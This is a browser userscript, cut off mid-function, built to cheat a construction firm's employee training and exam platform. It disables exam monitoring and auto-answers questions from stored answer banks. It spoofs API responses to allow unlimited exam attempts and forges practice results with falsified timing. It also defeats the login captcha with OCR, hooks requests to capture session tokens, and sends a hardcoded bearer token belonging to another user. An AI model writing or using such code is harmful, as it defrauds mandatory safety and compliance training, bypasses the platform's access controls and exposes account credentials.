// ==UserScript== // @name 遇见八三的心动瞬间 // @namespace // @version 1.14.6.20240326 // @description 学企来砍一刀 // @author 我纯f5捏 // @match http://120.27.194.253/* // @match http://47.98.152.121/* // @match https://learn.cscec83.cn/* // @match https://ks.wjx.top/*/* // @match http://ks.wjx.top/*/* // @match https://www.amap.com/* // @match https://www.cscec83.cn/* // @compatible edge // @license // @icon https://www.gstatic.com/android/keyboard/emojikitchen/20201001/u1f614/u1f614_u1f614.png // @grant GM_addStyle // @grant GM_setValue // @grant GM_getValue // @grant GM_deleteValue // @grant GM_notification // @grant GM_setClipboard // @run-at document-start // @require https://cdn.jsdelivr.net/npm/tesseract.js@5/dist/tesseract.min.js // @require https://update.greasyfork.icu/scripts/447483/1071404/Boxjs.js // @require https://update.greasyfork.icu/scripts/462234/1307862/Message.js // @require https://update.greasyfork.icu/scripts/482872/1345567/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93%E5%8D%95%E9%80%891.js // @require https://update.greasyfork.icu/scripts/482873/1344838/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93%E5%8D%95%E9%80%892.js // @require https://update.greasyfork.icu/scripts/482874/1345568/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93%E5%A4%9A%E9%80%89.js // @require https://update.greasyfork.icu/scripts/482875/1345569/%E4%B8%AD%E5%BB%BA%E5%AD%A6%E4%BC%81%E6%9D%A5%E5%85%A8%E9%A2%98%E5%BA%93%E5%88%A4%E6%96%AD.js // @require https://update.greasyfork.icu/scripts/481939/1293842/jquery-360minjs.js // @require https://update.greasyfork.icu/scripts/484651/1348555/cscec83require.js // @downloadURL none // ==/UserScript== /* *********************************************************** 以上参数为脚本必须读取的脚本元属性值,请勿随意改动 以下参数修改请参见语雀功能文档或者代码注释定制化修改 *********************************************************** */ killAllMonitor(); (function () { 'use strict'; var visionNum = '1.14.6.20240326'; var cscecAdminCount = true; // 控制主页是否隐藏脚本窗口, true 为隐藏; false 为不隐藏; const rootFontSize = 46.667; // 页面如果大小显示异常, 可尝试修改, 请勿随意变动此数值; const answerTimeGap = 350; // 一键做题操作间隔, 太快页面来不及响应, 太慢影响使用, 单位:ms; const loginCheck = 1000; // 输入验证码后登录的间隔, 太快无法响应, 太慢影响使用, 单位:ms; const monitorGap = 400; // 控制url监控间隔, 太快会影响性能, 太慢影响使用, 单位:ms; const yourName = ''; // 问卷星填写名字 const yourApartment = '/'; // 问卷星填写部门 const yourId = ''; // 问卷星填写员工编号 const yourPost = '专业工程师'; // 问卷星填写岗位 const newParagraphText1 = '* 选择施工区段后再填写 *'; /* *********************************************************** 以下参数为功能必须的参数初始化或功能预留,请勿随意改动 *********************************************************** */ var radioQA = []; var multipleQA = []; var judgeQA = []; Qmsg.config({ showClose: true, timeout: 4000 }) initQABank(); GM_setValue('userAgent', window.navigator.userAgent); try { var titleMsgAlert = `${GM_getValue('userName')} ${GM_getValue('nickName')}`; } catch (error) { titleMsgAlert = '未登录'; } const gk = 'cbbebbc001955f9af88c3928736dd241'; const targetValues = ['您的姓名:', '您的部门:', '所属项目:', '所在岗位:']; const rightArr = ['正确', '对', '✓', '√', 'A', 'a', '是']; const wrongArr = ['错误', '错', '×', 'x', 'B', 'b', '否']; const getYears = [2020, 2021, 2022, 2023, 2024]; const filterArray = ['每月考试']; var cscecConstructionLogCount = true; var isDraggable = false; var lngAndLatData = ''; var innerMsgAlert = ''; var lastVisionNum = ''; var xAccessToken = ''; var currentUrl = ''; var myPicImage = ''; var timestamp = ''; var ipData = ''; var a = ''; var b = ''; var C = ''; var d = ''; var isQuestionFinishArray = []; var moneyResults = {}; var practiceData = []; var savedData = []; var tokenData = []; var toolbox_ext = [] overrideOpen(); initElement(); setTipsImg(); setRem(); window.onload = function () { addDiv(); webPageWatchUrl(urlOperate); document.querySelector('#noteText2').innerHTML = `版本号: ${visionNum}

`; let tipsCard = document.getElementById("tipsCard"); tipsCard.addEventListener('mouseover', displayTipsImg); tipsCard.addEventListener('mouseout', vanishTipsImg); tipsCard.addEventListener('mousemove', displayTipsImg); document.getElementById('movedCard').addEventListener('mousedown', handleMouseDown); btnClick(".option1", verifyAndToast); btnClick(".option2", function () { if (getAb()) { switch (verifyUrl()) { case 1: answerExam(); break; case 4: Qmsg.error("此页面未配置本功能,请使用问卷星答题功能"); break; case 5: Qmsg.error("此页面未配置本功能,请使用填写验证码功能"); break; case 6: answerQuestion(); break; default: Qmsg.error("此页面未配置本功能,如功能配置错误请联系我"); break; } } else { failVerify(); waitToast(titleMsgAlert, innerMsgAlert, a); } }); btnClick(".option3", function () { if (getAb()) { switch (verifyUrl()) { case 1: autoExam(); break; case 4: Qmsg.error("此页面未配置本功能,请使用问卷星答题功能"); break; case 5: Qmsg.error("此页面未配置本功能,请使用填写验证码功能"); break; case 6: autoAnswerQuestion(); break; case 7: getAddress(currentUrl); break; default: Qmsg.error("此页面未配置本功能,如功能配置错误请联系我"); break; } } else { failVerify(); waitToast(titleMsgAlert, innerMsgAlert, a); } }); btnClick(".option4", answerQAStarExam); btnClick(".option5", function () { layer.open({ type: 1, skin: 'layui-layer', area: ['80%', '60%'], //宽高 content: layuiMenu(), title: '遇见八三的心动瞬间-附加功能', shadeClose: true, zIndex: 150, success: function (layero, index) { initToolboxListener(); $('.toolbox_btn').on('click', function () { layer.close(index) console.log('有一个按钮被点击,toolbox已关闭') }) } }) }); btnClick(".option6", function () { GM_addStyle(` .mainDiv { display: none; } #minDiv { display: Block; } `) let minDiv = document.createElement('div'); minDiv.innerHTML = ` `; minDiv.style.position = 'fixed'; minDiv.style.left = '0'; minDiv.style.top = '50%'; minDiv.width = '50px'; minDiv.className = "minDiv"; minDiv.style.zIndex = '999'; minDiv.id = 'minDiv'; minDiv.addEventListener('click', function () { GM_addStyle(` .mainDiv { display: grid; } #minDiv { display: none; } `) }); document.body.appendChild(minDiv); }); btnClick(".option7", fillVerificationCode); btnClick(".option9", sendMsg); getWords(); } async function initElement() { // 引入jquery // 问:这里为什么不用自带的require引入? // 答:第一,require不能引入css。第二,直接引入layer组建会导致显示异常,因此需要单独引入layer(属于技术原因受限)。第三,下面的两个库均已被GreasyFork认可(可前往https://greasyfork.org/zh-CN/help/cdns 进行审查)。 // 根据GreasyFork脚本规则“库是应被 @require 的脚本,除非因为技术原因不能这么做。如果一个库被内嵌入了脚本,那么你必须一并提供库的来源(比如一行评论指向原始地址、名称以及版本)。” // 我们在下方介绍了对应的库的原始地址、名称以及版本,并且说明了是因为技术原因而不能使用require引用。 $('head').append($('')) // 名称:layui,版本:2.9.7,原始地址:https://www.layuicdn.com/#Layui if (typeof layer == 'undefined') { $('head').append('') // 名称:layer,版本:2.9.7,原始地址:https://www.layuicdn.com/#Layer } while (true) { if (typeof layer != 'undefined') { break; } await sleep(0.5); } addButtons(); getIP(); hello('遇见八三的心动瞬间', visionNum); console.log("%c%s", "color: white; background: black; font-size: 20px; font-weight:1000; text-decoration: none;", "https://www.yuque.com/yuqueyonghuuadmba/kb/gan09a7zvlktoa9v?singleDoc"); } function initToolboxListener() { btnClick("#resetQABank_btn_toolbox", function () { resetQABank(); Qmsg.success("题库已重置"); }); btnClickToUrl("#openJSUrl_btn_toolbox", 'https://greasyfork.org/zh-CN/scripts/483543-%E9%81%87%E8%A7%81%E5%85%AB%E4%B8%89%E7%9A%84%E5%BF%83%E5%8A%A8%E7%9E%AC%E9%97%B4'); btnClick("#forceExam_btn_toolbox", function () { if (getAb()) { if (currentUrl.includes("https://learn.cscec83.cn/exam/exam")) { forceExam(); } else { Qmsg.warning('请在考试选择页面使用'); } } else { failVerify(); waitToast(titleMsgAlert, innerMsgAlert, a); } }); btnClick("#QAStar_forceExam_btn_toolbox", function () { deleteAllCookies(); clearCookie(); clearStorage(); Qmsg.success("cookie数据已清除"); }); btnClick('#practice1_btn_toolbox', function () { oneClickAnswer(1); }) btnClick('#practice2_btn_toolbox', function () { oneClickAnswer(2); }) btnClick("#iWantStudy_btn_toolbox", function () { fetch("https://learn.cscec83.cn/prod-api/course/periodUser", { "headers": { "accept": "application/json, text/plain, */*", "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "authorization": GM_getValue('Authorization'), "content-type": "application/json", }, "body": "{\"periodId\":485,\"watchDuration\":111.84082}", "method": "PUT", }) .then(response => { return response.json() }) .then(data => { switch (data.code) { case 200: Qmsg.success("每周课程学习完成"); break; case 500: console.log("每周课程学习过完成了"); default: Qmsg.error("每周课程学习异常 code"); break; } }) .catch(error => { Qmsg.error("每周课程学习 error" + error); Qmsg.error("进入或重新进入学企来后使用"); }) }); btnClick('#option1_btn_toolbox', function () { layer.open({ type: 1, area: '350px', resize: false, shadeClose: true, title: 'QQ', content: `
`, success: function () { layui.form.render(); layui.form.on('submit(demo-login)', function (data) { let url = 'https://api.uomg.com/api/qq.talk?qq=' + data.field.username; console.log(url); window.open(url, '_blank'); return false; // 阻止默认 form 跳转 }); } }); }) } function oneClickAnswer(index) { let targetUrl = 'https://learn.cscec83.cn/prod-api/exam/practice/paper/selectPracticeByClassId?practiceType=' + index; fetch(targetUrl, { "headers": { "accept": "application/json, text/plain, */*", "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "authorization": GM_getValue('Authorization'), }, "method": "GET", }) .then(response => { if (!response.ok) { throw new Error("practice1 response was not ok"); } return response.json(); }) .then(data => { let QAData = JSON.stringify(handelQAData(data.data), null, 2); fetch("https://learn.cscec83.cn/prod-api/exam/practice/paper/commitPractice", { "headers": { "accept": "application/json, text/plain, */*", "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "authorization": "Bearer eyJhbGciOiJIUzUxMiJ9.eyJ1c2VyX2lkIjoyMjk4NiwidXNlcl9rZXkiOiI4N2U2YjViNmVjMGM4MDFiN2Y3NmU2NTdlZDYwMmIxMSIsInVzZXJuYW1lIjoiNTAyWTE0MTAifQ.2qL7ojgz069wWyg9B27GWPgPMD5mTF-IZMRTqHSfflpl_u0iZipJDud2cRjCUz1AAC96BaTdtUNpHAuBFqmjaA", "content-type": "application/json", }, "body": QAData, "method": "POST", }) .then(response => { if (!response.ok) { throw new Error("practice1 response was not ok"); } return response.json(); }) .then(QAResponse => { if (QAResponse.code == 200) { let reachedUpperLimit = ''; switch (QAResponse.data.reachedUpperLimit) { case 0: reachedUpperLimit = `此项积分未满`; break; case 1: reachedUpperLimit = `此项积分已满`; break; default: reachedUpperLimit = ''; break; } Qmsg.success(`已完成,模拟用时 ${QAResponse.data.time} ,${reachedUpperLimit} `) } else { console.log(QAResponse); Qmsg.error('未知错误'); } }) }) .catch(error => { Qmsg.error("获取题目失败,进入或重新进入学企来后使用"); console.error("获取题目失败:", error); }); } function handelQAData(data) { let processedData = { paperId: data.paperId, practiceType: data.practiceType, practicePaperName: data.practicePaperName, questionNumber: data.questionNumber, startTime: new Date().getTime() - 90 * 1000 + (Math.floor(Math.random() * (20 - (-20)) + 1)) -20, testPaperTopics: [] }; // 遍历题目列表 data.testPaperTopics.forEach(topic => { let processedTopic = { paperId: topic.paperId, questionId: topic.questionId, deptName: topic.deptName, topicName: topic.topicName, questionType: topic.questionType, topicType: topic.topicType, topicTypeName: topic.topicTypeName, topicAnswer: topic.topicAnswer, source: topic.source, topicSource: topic.topicSource, isTrue: 1, optionId: topic.optionId, studentOptionId: topic.optionId, studentOptionIds: [], optionList: topic.optionList.map(option => { return { optionId: option.optionId, answerId: option.optionId, optionContent: option.optionContent, sort: option.sort, optionLabel: option.optionLabel, userCorrectAnswer: "" }; }), hierarchyId: topic.hierarchyId, relationId: topic.relationId, relationName: topic.relationName }; // 检查题目类型,正确答案从optionList中选出 let correctAnswerIndex = []; switch (topic.questionType) { // 单选题 case 1: for (let i = 0; i < topic.optionList.length; i++) { if (topic.optionId.includes(topic.optionList[i].optionId)) { correctAnswerIndex = i; } } processedTopic.answerIndex = correctAnswerIndex; break; // 多选题 case 2: for (let i = 0; i < topic.optionList.length; i++) { if (topic.optionId.includes(topic.optionList[i].optionId)) { correctAnswerIndex.push(i); } } if (correctAnswerIndex.length !== 0) { processedTopic.answerIndex = correctAnswerIndex; processedTopic.studentOptionIds = topic.optionId.split(","); } else { processedTopic.answerIndex = "未知"; } break; // 判断题 case 3: for (let i = 0; i < topic.optionList.length; i++) { if (topic.optionId.includes(topic.optionList[i].optionId)) { correctAnswerIndex = topic.optionList[i].optionContent; } } processedTopic.answerIndex = correctAnswerIndex; break; } processedData.testPaperTopics.push(processedTopic); } ); return processedData; } // 通用函数,同步等待1秒 async function sleep(time) { return new Promise((resolve, reject) => { setTimeout(() => { resolve() }, time * 1000) }) } function hello(title, version) { console.log( `%c ${title} %cV ${version} `, 'padding: 2px 1px; border-radius: 3px 0 0 3px; color: #fff; background: #606060; font-weight: bold;', 'padding: 2px 1px; border-radius: 0 3px 3px 0; color: #fff; background: #42c02e; font-weight: bold;', ); } function layuiMenu() { var toolbox_html = `
异常修复

学企来相关

信息发布

测试功能

${visionNum}

更新细则

  • 新增一键答题功能
  • 新增一键闯关功能
  • 新增自动完成每周课程
  • 修复日常答题获取题目失败的情况
  • 重制千回百转功能
  • 新增部分功能
  • 优化了脚本运行速度
  • 新增更新概览
  • 修复部分问题

2024 年 3 月

更新概览

  • 增加 页面内切换答题功能(1.13.3.20240323)
  • 增加 集团133文化体系试题库(1.12.22.20240319)
  • 增加 题库重置功能(1.12.19.20240318)
  • 增加 增加一键复制题目功能(1.12.25.20240322)

2024 年 2 月

更新概览

  • 增加 增加自动签到功能(1.12.0.20240222)
  • 增加 增加今日积分统计功能(不含考试)(1.12.0.20240222)
  • 修改 全部题库与答题逻辑,使用新的题库格式以支持作答题目相同但选项不同的题(1.11.1.20240219)
  • 删除 对旧版学企来业的支持与全部代码(1.11.1.20240219)
  • 增加 增加了版本更新提醒(1.10.12-20240211)
  • 增加 平台自动去水印功能(1.10.7-20240202)
  • 增加 点击按钮 9 反馈问题(1.10.0-20240201)

2024 年 1 月

更新概览

  • 增加 手机做题考试功能(1.8.0-20240126)
  • 增加 窗口显隐功能(1.8.0-20240126)
  • 增加 强制考试与无限考试功能(1.7.0-20240124)
  • 增加 考试任意切屏功能(1.6.18-20240123)
  • 增加 随机更换背景大图(1.6.17-20240122)
  • 增加 新版学企来考试与自动考试功能(1.6.0-20240107)

1.0 20240101

诞生了

` return toolbox_html; } function getAddress(urls) { let regex = /lng=([\d.]+)&lat=([\d.]+)&name=([^&]+)/; let match = urls.match(regex); if (match) { let texts = '[{"mAddress":"' + decodeURIComponent(match[3]) + '","mLatitude":' + match[2] + ',"mLongitude":' + match[1] + '}]'; GM.setClipboard(texts, "text"); console.log(texts); Qmsg.success("已复制相关信息。"); } } async function initQABank() { try { radioQA = GM_getValue('radioQA'); multipleQA = GM_getValue('multipleQA'); judgeQA = GM_getValue('judgeQA'); if (radioQA.length !== 14429 && multipleQA.length !== 6248 && judgeQA.length !== 4069) { resetQABank(); } else { Qmsg.success(`正常读取全题库,单选题:${radioQA.length + 1};多选题:${multipleQA.length + 1};判断题:${judgeQA.length + 1}`); } } catch (error) { console.log(error); Qmsg.error(`题库初始化发生意外错误`); } } async function resetQABank() { radioQA = [...radioQuestionBank1, ...radioQuestionBank2]; radioQA = radioQA.map(item => { return { ...item, question: trimText(item.question), options: item.options.map(option => trimText(option)) }; }); multipleQA = multipleQuestionBank.map(item => { return { ...item, question: trimText(item.question), options: item.options.map(option => trimText(option)) }; }); judgeQA = judgeQuestionBank.map(item => { return { ...item, question: trimText(item.question), options: item.options.map(option => trimText(option)) }; }); try { GM_setValue('radioQA', radioQA); GM_setValue('multipleQA', multipleQA); GM_setValue('judgeQA', judgeQA); Qmsg.success(`全题库共 单选题:${radioQA.length + 1};多选题:${multipleQA.length + 1};判断题:${judgeQA.length + 1} 已存储`); } catch { Qmsg.error(`全题库写入失败`); } } function forceExam() { var originalSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send = function () { var self = this; var originalOnreadystatechange = this.onreadystatechange; this.onreadystatechange = function () { if (self.responseURL.match(/getInfoCanPaperNum\?paperId=.+/g)) { Object.defineProperty(self, 'response', { value: { "code": 200, "msg": null, "data": 999 }, writable: true, enumerable: true, configurable: true }); Object.defineProperty(self, 'responseText', { value: "{\"code\":200,\"msg\":null,\"data\":999}", writable: true, enumerable: true, configurable: true }); // 调用原有的onreadystatechange回调 if (originalOnreadystatechange) { originalOnreadystatechange.call(self); } } }; // 调用原始的send方法 originalSend.apply(this, arguments); }; Qmsg.success("强制考试,启动!"); systemAlert('强制考试,启动!', '考!随便考!', 8000, console.log('点击无限的通知')); } function getWords() { fetch("https://oiapi.net/API/Sentences") .then(response => { if (!response.ok) { throw new Error("Network response was not ok"); } return response.json(); }) .then(data => { if (data.code === 1) { document.querySelector("#infoText1").innerText = data.data.content; document.querySelector("#infoText2").innerText = "——" + data.data.works + ' ' + data.data.author; } else { document.querySelector("#infoText1").innerText = "今日无事"; } }) .catch(error => { Qmsg.error("获取每日一言失败"); document.querySelector("#infoText1").innerText = "今日无事"; console.error("Fetch error:", error); }); } function answerQAStarExam() { var AllQA = [...radioQA, ...multipleQA, ...judgeQA]; try { if (verifyUrl() === 4) { try { document.querySelector("#q1_0").innerText = yourName; document.querySelector("#q1_1").innerText = yourApartment; document.querySelector("#q1_2").innerText = yourId; document.querySelector("#q1_3").innerText = yourPost; } catch (error) { console.log("方式一信息填写失败或部分失败,尝试使用方式二填写"); try { document.querySelector("#q1").value = yourName; document.querySelector("#q2").value = yourApartment; document.querySelector("#q3").value = yourId; document.querySelector("#q4").value = yourPost; } catch (error) { console.log("信息填写失败或部分失败"); } } var QAStarQuestion = document.querySelectorAll('.topichtml'); if (QAStarQuestion.length === 0) { QAStarQuestion = document.querySelectorAll('.topic__type-title'); } for (let j = 0; j < QAStarQuestion.length; j++) { let questionFind = trimText(QAStarQuestion[j].innerText); try { questionFind = questionFind.match(/.+?(?=【.*】$)/)[0] } catch { }; let questionIndex = AllQA.findIndex(function (item) { return item.question === questionFind; }); if (questionIndex > -1) { let answerArray = convertAnswerArrayToDigitArray(questionIndex, AllQA); for (let i = 0; i < answerArray.length; i++) { (function (i) { requestAnimationFrame(function () { setTimeout(() => { try { QAStarQuestion[j].nextElementSibling.childNodes[answerArray[i]].click(); } catch (error) { try { QAStarQuestion[j].parentNode.nextSibling.childNodes[answerArray[i]].click(); } catch (error) { } } }, 150); }); })(i); } } else { console.log(QAStarQuestion[j] + " 未找到答案", "题库无此题,请及时记录维护题库或 Ctrl+S 保存页面"); } } } else { Qmsg.error("此页面未配置本功能,如功能配置错误请联系我"); } } catch (error) { Qmsg.error("exam函数未完全适配导致的问题,请 Ctrl+S 保存页面并联系我"); } } function verifyUrl() { currentUrl = window.location.href; // 1 新版学企来考试 if (currentUrl.includes('learn.cscec83.cn/exam/examItem')) { return 1; // 2 答题结算 } else if (currentUrl.includes('learn.cscec83.cn/exam/dayResult')) { return 2; // 4 问卷星 } else if (currentUrl.includes('wjx.top/') || currentUrl.includes('wjx.cn/')) { return 4; // 5 公司登录界面 } else if (currentUrl.includes('www.cscec83.cn/user/login')) { return 5; // 6 新版学企来练习 } else if (currentUrl.includes('learn.cscec83.cn/exam/dayItem')) { return 6; // 7 高德定位 } else if (currentUrl.includes("www.amap.com/regeo") && currentUrl.includes("lng=") && currentUrl.includes("lat=")) { return 7; // 8 八三主页 } else if (currentUrl.includes("www.cscec83.cn/dashboard/analysis")) { return 8; } else { return false; } } function getAnswer(questionAnswerBankIndex, questionsArray) { return questionsArray[questionAnswerBankIndex].answer; } function convertAnswerToArray(questionAnswerBankIndex, questionsArray) { let answerArray = getAnswer(questionAnswerBankIndex, questionsArray).match(/[A-Za-z]/g).map(function (val) { return val.toLowerCase(); }); return answerArray; } // 转换字母答案为数字并生成数组 function convertAnswerArrayToDigitArray(questionIndex, questionsArray) { let answerArray = convertAnswerToArray(questionIndex, questionsArray).map(char => char.charCodeAt(0) - 96 - 1); // 多减一个 1 好点击 return answerArray; } // 点击页面具有某个文本的span function clickSpanContainingText(text) { var spans = document.getElementsByTagName('span'); for (var i = 0; i < spans.length; i++) { if (spans[i].innerText === text) { spans[i].click(); break; } } } function reviseRem() { var root = document.documentElement; var currentSize = parseFloat(window.getComputedStyle(root).fontSize); if (currentSize !== rootFontSize) { // root.style.fontSize = `${currentSize * 4}px`; root.style.fontSize = rootFontSize + "px"; } if (document.querySelector('.todo-title') && document.querySelector('.todo-title').innerText == '公司待办') { root.style.fontSize = 16 + "px"; if (cscecAdminCount) { try { GM_addStyle(` .mainDiv { display: none; } } `); } catch (error) { } } } } function webPageWatchUrl(watchCallback) { watchCallback(); currentUrl = window.location.href; setInterval(function () { if (currentUrl !== window.location.href) { currentUrl = window.location.href; watchCallback(); } }, monitorGap); } function addButtons() { setInterval(function () { switch (verifyUrl()) { case 1: case 2: case 6: addCopyButton(); addPractice1Button(); addPractice2Button(); addBackButton(); break; default: break; } }, 1000); } function addCopyButton() { try { if (!document.querySelector('#copy-Button')) { let copyButton = document.createElement('button'); copyButton.id = 'copy-Button'; copyButton.textContent = '复制题目'; copyButton.classList.add('add-Button'); let parentElement = document.querySelectorAll(".size-16")[0]; parentElement.appendChild(copyButton); copyButton.addEventListener("click", function (event) { let questionElement = document.querySelectorAll('.el-card__body')[1].childNodes[2]; let question = questionElement ? questionElement.innerText : ''; let options = getOptions(); let QAtype = getQATypeString(); let text = `{ question: '${trimText(question)}', options: ${options}, answer: '', type: '${QAtype}' }`; GM.setClipboard(text); Qmsg.success('复制成功'); }); } } catch (error) { } } function addPractice1Button() { try { if (!document.querySelector('#practice1-Button')) { let practice1Button = document.createElement('button'); practice1Button.id = 'practice1-Button'; practice1Button.textContent = '每日一练'; practice1Button.classList.add('add-Button'); let parentElement = document.querySelectorAll(".el-page-header__content")[0]; parentElement.appendChild(practice1Button); practice1Button.addEventListener("click", function (event) { window.open('https://learn.cscec83.cn/exam/dayItem/?type=1', '_self'); }); } } catch (error) { } } function addPractice2Button() { try { if (!document.querySelector('#practice2-Button')) { let practice2Button = document.createElement('button'); practice2Button.id = 'practice2-Button'; practice2Button.textContent = '闯关练习'; practice2Button.classList.add('add-Button'); let parentElement = document.querySelectorAll(".el-page-header__content")[0]; parentElement.appendChild(practice2Button); practice2Button.addEventListener("click", function (event) { window.open('https://learn.cscec83.cn/exam/dayItem/?type=2', '_self'); }); } } catch (error) { } } function addBackButton() { try { if (!document.querySelector('#addBack-Button')) { let addBackButton = document.createElement('button'); addBackButton.id = 'addBack-Button'; addBackButton.textContent = '返回首页'; addBackButton.classList.add('add-Button'); let parentElement = document.querySelectorAll(".el-page-header__content")[0]; parentElement.appendChild(addBackButton); addBackButton.addEventListener("click", function (event) { window.open('https://learn.cscec83.cn/', '_self'); }); } } catch (error) { } } function setRem() { setInterval(function () { reviseRem(); }, 1000); } function getOptions() { let options = '['; switch (getQAType()) { case 1: case 3: document.querySelectorAll(".el-radio__label").forEach(e => { options += "'" + trimText(e.innerText.replace(/[A-J]\. /, '')) + "',"; }); break; case 2: document.querySelectorAll(".el-checkbox-group")[0].childNodes.forEach(e => { options += "'" + trimText(e.innerText.replace(/[A-J]\. /, '')) + "',"; }); break; default: break; } options += ']'; return options.replace(",]", ']'); } function getQATypeString() { switch (getQAType()) { case 1: return '单选题'; case 2: return '多选题'; case 3: return '判断题'; default: return '未知题目'; } } function urlOperate() { switch (verifyUrl()) { case 4: try { // 解除复制粘贴限制 setTimeout(function () { $(".textCont,input,textarea").off(); }, 2000) $(".textCont,input,textarea").off(); // 既不生效,再来一次又何妨 document.oncontextmenu = function () { return true; }; document.onselectstart = function () { return true; }; $("body").css("user-select", "text"); syncManyinput(); } catch (error) { Qmsg.error("破解复制失败"); } break; case 5: try { document.documentElement.style.fontSize = 46.6667 + "px"; GM_addStyle(` .bgi[data-v-556a153e] { background:url(https://bing.img.run/rand_uhd.php) no-repeat; background-size:100% 100%; } `); } catch (error) { } break; case 8: document.documentElement.style.fontSize = 16 + "px"; if (cscecAdminCount) { try { GM_addStyle(` .mainDiv { display: none; } } `); } catch (error) { } } let intervalId; // 存储 setInterval 的返回值 let isClickListenerAdded = false; // 标记是否已添加点击事件监听器 intervalId = setInterval(function () { if (GM_getValue("thirdToken")) { var cardTitle = document.querySelector('.card-title'); if (cardTitle) { try { if (isClickListenerAdded) { clearInterval(intervalId); return; }; let cardTitle = document.querySelector('.card-title'); cardTitle.addEventListener('click', function () { let url = 'https://learn.cscec83.cn' + '?token=' + GM_getValue("thirdToken"); window.open(url, '_blank'); }); isClickListenerAdded = true; } catch (error) { console.error(error); } } } }, 500); cscecAdminCount = false; break; default: break; } setInterval(function () { try { let content = document.querySelector("#content").childNodes[2]; if (content.style.background !== '') { document.querySelector("#content").childNodes[2].style.background = ''; Qmsg.success("去除水印成功") } } catch (error) { } if (cscecConstructionLogCount && currentUrl.includes('www.cscec83.cn/Project/ConstructionLog/ConstructionLog/')) { try { if (document.querySelectorAll(".ant-space-item")[2].innerText.includes("施工区段")) { let newParagraph = document.createElement('p'); newParagraph.textContent = newParagraphText1; newParagraph.style.color = 'red'; newParagraph.style.fontWeight = 'bold'; newParagraph.style.textAlign = 'center'; newParagraph.style.fontSize = '1.25rem'; let parentElement = document.querySelectorAll(".ant-spin-nested-loading")[1]; let firstChild = parentElement.firstChild; parentElement.insertBefore(newParagraph, firstChild); cscecConstructionLogCount = false; } } catch (error) { } } }, 2000); }; function fillVerificationCode() { if (currentUrl.includes('https://www.cscec83.cn/user/login')) { var imgSrc = document.querySelectorAll("img")[4].src; var image = new Image(); image.src = imgSrc; const { createWorker } = Tesseract; (async () => { const worker = await createWorker('eng'); const { data: { text } } = await worker.recognize(image); var inputElement = document.getElementById("inputCode"); inputElement.value = text; // 创建并触发 input 事件 var event = new Event('input', { bubbles: true, cancelable: true, }); inputElement.dispatchEvent(event); })(); setTimeout(function () { document.querySelector(".login-button").click(); }, loginCheck); } else { Qmsg.error("此页面未配置本功能,如功能配置错误请联系我"); // simpleToast("此页面未配置本功能", "填写验证码", 2e3); return false; } } // 移动 function handleMouseDown(event) { isDraggable = true; var handleMoveDiv = document.getElementById("mainDiv"); var offsetX = event.clientX - handleMoveDiv.getBoundingClientRect().left; var offsetY = event.clientY - handleMoveDiv.getBoundingClientRect().top; // 阻止默认行为和冒泡 event.preventDefault(); event.stopPropagation(); document.addEventListener('mousemove', handleWindowMouseMove); document.addEventListener('mouseup', handleWindowMouseUp); function handleWindowMouseMove(event) { if (isDraggable) { requestAnimationFrame(() => { handleMoveDiv.style.left = event.clientX - offsetX + 'px'; handleMoveDiv.style.top = event.clientY - offsetY + 'px'; window.getSelection().empty(); }); } } function handleWindowMouseUp() { isDraggable = false; document.removeEventListener('mousemove', handleWindowMouseMove); document.removeEventListener('mouseup', handleWindowMouseUp); } } // 给所有的可选按钮增加点击事件 // 类中加 clickable-image speedChoose function changeByClick() { // 给所有的图片增加点击事件(除了含有speedChoose类的) let images = document.querySelectorAll('.clickable-image'); images.forEach(image => { // 检查图片是否包含speedChoose类,如果不包含则添加点击事件 if (!image.classList.contains('speedChoose')) { image.addEventListener('click', function () { this.classList.toggle('clicked'); }); } }); // // 按钮点击互斥 // var speedChooses = document.querySelectorAll('.speedChoose'); // speedChooses.forEach(function (box) { // box.addEventListener('click', function () { // // 如果当前按钮已经是点击状态,则取消点击状态,否则激活点击状态 // if (box.classList.contains('clicked')) { // box.classList.remove('clicked'); // } else { // // 点击任何一个box时,移除所有box的clicked类 // speedChooses.forEach(function (otherBox) { // otherBox.classList.remove('clicked'); // }); // box.classList.add('clicked'); // } // }); // }); } function overrideOpen() { var open = XMLHttpRequest.prototype.open; XMLHttpRequest.prototype.open = function (method, url) { var self = this; this.addEventListener('load', function () { var data = self.responseText; var isPracticeData = data.includes('testPaperTopics'); var isTokenData = data.includes('thirdToken'); var isAuthorization = data.includes('token') && data.includes('data'); if (isPracticeData || isTokenData || isAuthorization) { if (isAuthorization) { var authorizationData = authorizationData || []; if (!Array.isArray(authorizationData)) { authorizationData = []; } authorizationData = JSON.parse(data); handleAuthorizationData(authorizationData); } if (isPracticeData) { practiceData = practiceData || []; if (!Array.isArray(practiceData)) { practiceData = []; } practiceData.push(JSON.parse(data)); handlePracticeData(practiceData); } if (isTokenData) { tokenData = tokenData || []; if (!Array.isArray(tokenData)) { tokenData = []; } tokenData.push(JSON.parse(data)); handleTokenData(tokenData); } } }); open.apply(this, arguments); }; } function handlePracticeData(practiceData) { return new Promise(function (resolve) { let targetArray = practiceData.find(function (response) { return response.msg === "操作成功" && response.code === 200 && response.data.testPaperTopics; }); if (targetArray) { let formattedData = outputPracticeTopics(targetArray.data); savedData = formattedData.slice(); } else { console.log('脚本未找到符合条件的题库信息'); } practiceData.length = 0; resolve(); }); } function handleAuthorizationData(authorizationData) { return new Promise(function (resolve) { if (authorizationData.code === 200) { GM_setValue('Authorization', authorizationData.data.token); fetch("https://learn.cscec83.cn/prod-api/system/user/signIn", { "headers": { "accept": "application/json, text/plain, */*", "accept-language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6", "authorization": authorizationData.data.token, "cache-control": "no-cache", "pragma": "no-cache", }, "method": "POST", }) .then(response => { return response.json() }) .then(data => { switch (data.code) { case 200: Qmsg.success("自动签到完成"); break; case 500: console.log("今天已经签到过了"); default: break; } }) .catch(error => { console.log("自动签到 error" + error); 